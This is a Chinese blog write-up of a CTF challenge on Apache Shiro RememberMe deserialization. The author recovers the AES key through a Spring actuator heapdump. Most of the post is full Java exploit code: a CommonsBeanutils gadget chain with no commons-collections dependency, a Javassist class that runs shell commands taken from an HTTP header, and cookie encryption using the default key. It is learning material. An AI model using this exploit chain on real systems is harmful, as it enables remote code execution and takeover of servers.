PolarOA_shiro反序列化学习

唉,学

0x01 前言

前几天参加了polarctf,因为没怎么学过shiro导致当时polarOA这道java题没解出来,特此记录。

0x02 PolarOA2.0

这里直接放题目了:

进环境发现是个登录界面,抓包发现存在RememberMe字段,初步猜测考点是shiro

polarOA_1

简单提下漏洞原理:

Apache Shiro框架的记住密码功能,用户登录后生成加密编码的cookie。服务端对记住密码产生的cookie进行base64解密,再进行AES解密,之后进行反序列化,导致了反序列化漏洞。

客户端:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

服务端:RememberMe Cookie值=>base64解密=>AES解密=>反序列化

这样一来AES加密密钥至关重要,但使用工具无法获得密钥,爆破不出来(可能用了高版本shiro):

polar_2

因为不登陆就没法拿cookie值,想了想有没有其它方式获取key

spring端点泄露

但当时尝试访问url/actuator/envurl/env直接进报错页面了,后来看wp才知道得先登录😟

弱口令 admin,admin123

polaroa_3

再访问url/actuator/env发现确实存在敏感信息泄露:

polaroa_4

polar这个靶场挺搞的,这里看到环境变量里已经有flag了,但交不上去(之前做那个XEE的题也是,phpinfo恩搜到了flag,但我就是交不上去🤬):

polaroa_5

然后通过 /actuator/heapdump 这个路由导出 jvm 中的堆内存信息,去翻shiro key

polaroa_7

BV0oz7n9/LtRqn1RENB+Yw==可用

但这里存在问题,探测利用链发现无可利用链:

polaroa_6

这里去看了出题人的博客:

爆破所有利用链发现,没有可利用的链(其实不是,没有爆破出来是因为对Cookie长度做了限制,可测试出传入Cookie的字符串需要小于约3500个字符)

Shiro是依赖于commons-beanutils的,比如对于如下pom.xml,我并没有引入任何有关cb的依赖,但却可以发现通过引入shiro 1.2.4间接引入cb1.8.3:

接下来有两个问题:

  • 没有CC依赖怎么打shiro反序列化?

  • 需要缩短我们的payload,怎么缩短?

第一个问题:

参考文章

先复习一下CB1这条链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class TESTCB1 {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\Clac.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// templates.newTransformer();
final BeanComparator beanComparator = new BeanComparator();
// 创建新的队列,并添加恶意字节码
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1);

//可以看下beanComparator的构造方法:这里把property的值设置为outputProperties,目的是调用getOutputProperties()这个方法
setFieldValue(beanComparator, "property", "outputProperties");

setFieldValue(queue, "queue", new Object[]{templates, templates});
//serialize(queue);
unserialize("ser.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

运行结果:

polaroa_10

注意pom.xml中的一些依赖,注意CB的版本要和shiro给的对上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.2.4</version>
</dependency>

好,那我们现在删掉这个cc依赖会发生什么?

polaroa_11

Exception in thread “main” java.lang.NoClassDefFoundError: org/apache/commons/collections/comparators/ComparableComparator
at org.apache.commons.beanutils.BeanComparator.(BeanComparator.java:81)
at org.apache.commons.beanutils.BeanComparator.(BeanComparator.java:59)
at TESTCB1.main(TESTCB1.java:20)
Caused by: java.lang.ClassNotFoundException: org.apache.commons.collections.comparators.ComparableComparator
at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:359)
at java.lang.ClassLoader.loadClass(ClassLoader.java:351)

NoClassDefFoundError 异常,找不到 org/apache/commons/collections/comparators/ComparableComparator 这个类。我们明明用的是CB的链子,为什么会扯到CC

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。

难道没有commons-collections就无法进行反序列化利用吗?当然有。

无依赖的Shiro反序列化利用链

先来看看org.apache.commons.collections.comparators.ComparableComparator这个类在哪里使用了,进BeanComparator():

poplaroa_13

BeanComparator类的构造函数处,当没有显式传入Comparator的情况下,则默认使用ComparableComparator

所以CB链一定要依赖CC存在吗?当然不是:

既然此时没有ComparableComparator,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强

这里直接给出结果,可以用AttrCompare:

polaroa_16

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//需要注意的是这段POC我们还是需要导入CC的相关依赖,但这并不与“无CC依赖”相悖。我们先把comparator字段的值设置为CC中的TransformingComparator,主要目的是在add时让他不触发compare方法。add后给改回我们预期的BeanComparator即可
public class ShiroCB {
public static void main(String[] args) throws Exception {

TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodeField = tc.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

byte[] code = Files.readAllBytes(Paths.get("D://Tomcat/CC/target/classes/EXP/Demo.class"));
byte[][] codes = {code};
bytecodeField.set(templates, codes);


//PropertyUtils Properties = (PropertyUtils) PropertyUtils.getProperty(templates, "getOutputProperties");

BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
//CC里面有,为了不报错,传入一个,反射的时候再修改回来
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(2);
//改回来:
Class<PriorityQueue> c = PriorityQueue.class;
Field comparetorFied = c.getDeclaredField("comparator");
comparetorFied.setAccessible(true);
comparetorFied.set(priorityQueue,beanComparator);

serialize(priorityQueue);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

第二个问题:如何缩短我们的payload?

参考文章

其实就是利用Javassist将写死的恶意类通过动态构造实现缩短,比如对于之前我们弹计算器的恶意类Clac.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Clac extends AbstractTranslet {

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}

}
}

可以看到,我们不光需要实现AbstractTranslet中定义的抽象方法,还得引入大量其它包中的类。这样一来就导致我们的payload长度增加。

那怎么构造呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static CtClass genPayloadForLinux2() throws NotFoundException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public A() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }", clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}

这里其实就是通过Javassist库动态生成一个类,并在类的构造函数中执行从HTTP请求头获取的命令

最终POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class FinalPoc {
public static void main(String[] args) throws Exception {

final TemplatesImpl templates = getTemplate();



//PropertyUtils Properties = (PropertyUtils) PropertyUtils.getProperty(templates, "getOutputProperties");

BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
//CC里面有,为了不报错,传入一个,反射的时候再修改回来
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(templates);
//改回来:
Class<PriorityQueue> c = PriorityQueue.class;
Field comparetorFied = c.getDeclaredField("comparator");
comparetorFied.setAccessible(true);
comparetorFied.set(priorityQueue,beanComparator);

//serialize(priorityQueue);
//unserialize("ser.bin");
// ==================
// 生成序列化字符串
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));//shiro默认密钥
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(aes.encrypt(bytes, key));
}
/* public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}*/
public static CtClass genPayloadForLinux2() throws NotFoundException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public A() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }", clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}

public static TemplatesImpl getTemplate() throws Exception {
CtClass clz = genPayloadForLinux2();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

这样写也行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
public class FinalPoc2 {
public static void main(String[] args) throws Exception {

final TemplatesImpl templates = getTemplate();

final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

queue.add("1");
queue.add("1");

setFieldValue(comparator, "property", "outputProperties");

setFieldValue(queue, "queue", new Object[]{templates, templates});
//serialize(priorityQueue);
//unserialize("ser.bin");
// ==================
// 生成序列化字符串
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));//shiro默认密钥
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(aes.encrypt(bytes, key));
}
/* public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}*/
public static CtClass genPayloadForLinux2() throws NotFoundException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public spring() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }", clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}

public static TemplatesImpl getTemplate() throws Exception {
CtClass clz = genPayloadForLinux2();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
setFieldValue(obj, "_name", "a");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

然后执行命令就行:

polaroa_18

0x03结语

😟java学习任重而道远


PolarOA_shiro反序列化学习
http://example.com/2024/05/30/从PolarOA一题看shiro反序列化攻击/
作者
notbad3
发布于
2024年5月30日
许可协议